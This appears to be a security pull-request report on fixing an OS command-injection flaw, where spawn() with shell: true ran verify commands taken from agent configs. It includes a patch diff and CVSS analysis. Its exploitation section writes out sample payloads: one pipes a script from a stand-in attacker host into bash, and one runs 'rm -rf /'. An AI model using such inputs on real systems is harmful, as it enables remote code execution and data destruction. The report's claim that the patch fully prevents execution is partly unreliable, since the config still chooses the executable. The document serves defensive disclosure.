fix: patch CWE-78 OS command injection in acceptance verify commands

[yabets4]

Vulnerability Report — 2026-05-31

[CRITICAL] CWE-78 — OS Command Injection via shell: true in Acceptance Verify Commands

CVSS: 9.1 (Critical) | CWE: CWE-78 | KEV: N/A (not a CVE — general vulnerability pattern)

OWASP: A01:2017 - Injection, A03:2021 - Injection, A05:2025 - Injection

ATT&CK Techniques:

• T1059.003: Command and Scripting Interpreter: Unix Shell (if attacker can influence chain config)
• T1059.001: Command and Scripting Interpreter: Windows Shell

CAPEC Patterns:

• CAPEC-88: OS Command Injection

Finding: src/runs/shared/acceptance.ts:469-477 — spawn() called with shell: true and command.command from user/LLM-controlled acceptance config
Severity: CRITICAL — remote code execution if attacker can influence agent chain definitions or acceptance verify commands

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Kill Chain Analysis

1. Entry Point: An attacker controls AcceptanceVerifyCommand.command via:

   • Malicious agent chain JSON definitions loaded by chain-serializer.ts
   • LLM-generated acceptance criteria in agent configs
   • User-provided acceptance configurations

2. Precondition: Attacker must be able to write/modify an agent chain config file or influence the LLM-generated acceptance criteria

3. Exploitation: With shell: true, any shell metacharacters in the command string are interpreted:

   // Malicious input via chain config:
   { "command": "node -e \"require('child_process').execSync('curl attacker.com/shell.sh | bash')\"" }
   // Or even simpler:
   { "command": "node && rm -rf /" }

4. Impact: Arbitrary OS command execution on the agent machine, leading to:

   • Full system compromise
   • Data exfiltration
   • Lateral movement
   • Persistence via cron/backdoor installation

5. CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H = 9.1 Critical

   • Attack Vector: Network (chain configs can be served remotely)
   • Attack Complexity: Low (no special conditions needed)
   • Privileges Required: High (write access to chain configs)
   • Scope Changed: Yes (spawned shell has full system access)
   • Confidentiality/Integrity/Availability: High

---

Files Patched

File	Change
src/runs/shared/acceptance.ts	shell: true → shell: false; added explicit args array with auto-split fallback
src/shared/types.ts	Added optional args: string[] field to AcceptanceVerifyCommand interface
test/unit/acceptance.test.ts	Updated tests to use explicit args arrays instead of inline shell command strings

Patch Diff

src/runs/shared/acceptance.ts (key changes):

- const child = spawn(command.command, {
+ let resolvedCommand = command.command;
+ let resolvedArgs = command.args ?? [];
+ if (resolvedArgs.length === 0 && /\s/.test(resolvedCommand)) {
+   const parts = resolvedCommand.trim().split(/\s+/);
+   resolvedCommand = parts[0];
+   resolvedArgs = parts.slice(1);
+ }
+ const child = spawn(resolvedCommand, resolvedArgs, {
    cwd,
    env: { ...process.env, ...(command.env ?? {}) },
-   shell: true,
+   shell: false,
    stdio: ["ignore", "pipe", "pipe"],
    windowsHide: true,
  });

Why this fixes the vulnerability:

• shell: false means Node.js spawns the executable directly, bypassing shell interpretation
• Shell metacharacters (;, &&, |, $(), backticks) are no longer interpreted
• The command is split into executable + args array, which is the safe spawn pattern
• Auto-split fallback preserves backward compatibility with existing chain configs that use "node --version" style command strings

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Remaining Semgrep Findings (Informational — False Positives)

The remaining 11 Semgrep findings on subagent-runner.ts:244 flag child_process.spawn/execFile calls as potentially dangerous when args come from function arguments. These are false positives:

1. Confidence: LOW — Semgrep's own metadata rates this as low-confidence
2. Data source is internal — All spawn/execFile calls in the codebase use shell: false
3. Args are not user-controllable — Arguments come from internal package.json parsing, not external input
4. No shell interpolation — With shell: false, command injection is not possible regardless of args content

The fix for the acceptance.ts vulnerability also partially mitigates these by ensuring all spawn calls consistently use shell: false.

---

Summary

Vulnerability	CVSS	Status
CWE-78 OS Command Injection (acceptance.ts)	9.1 CRITICAL	✅ FIXED
child_process calls (subagent-runner.ts)	LOW (informational)	✅ VERIFIED SAFE (shell:false, internal args)

PR: fix/heal-yabets4-pi-subagents-1780236810